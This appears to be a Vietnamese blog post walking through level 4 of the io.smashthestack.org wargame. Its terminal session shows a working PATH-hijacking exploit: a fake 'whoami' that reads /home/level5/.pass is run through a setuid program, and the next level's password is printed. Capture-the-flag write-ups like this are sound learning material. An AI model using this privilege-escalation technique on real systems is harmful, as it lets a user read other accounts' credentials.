Featured Content Slider

Home » » io.smashthestack.org level4

io.smashthestack.org level4

Vo Uu | 04:36 | 0 nhận xét
level4@io:~$ cd /levels
level4@io:/levels$ cat level04.c
//writen by bla
‪#‎include‬ <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}

level4@io:/levels$
level4@io:/levels$ ./level04
Welcome level04
level4@io:/levels$ mkdir /tmp/pns
level4@io:/levels$ cd /tmp/pns
level4@io:/tmp/pns$ cat whoami.c
#include <stdlib.h>
int main() {
system("cat /home/level5/.pass");
return 0;
}
level4@io:/tmp/pns$ gcc whoami.c -o whoami
level4@io:/tmp/pns$ PATH=/tmp/pns:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/tmp/pns$ /levels/level04
Welcome KGpWsju2vDpmxcxlvm

Thanks to HuuThoNguyen, EvisBlue, Đinh Hòa, Võ Hồng Phương, Dung Vit, ... and all members of HST
Thanks you!
Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger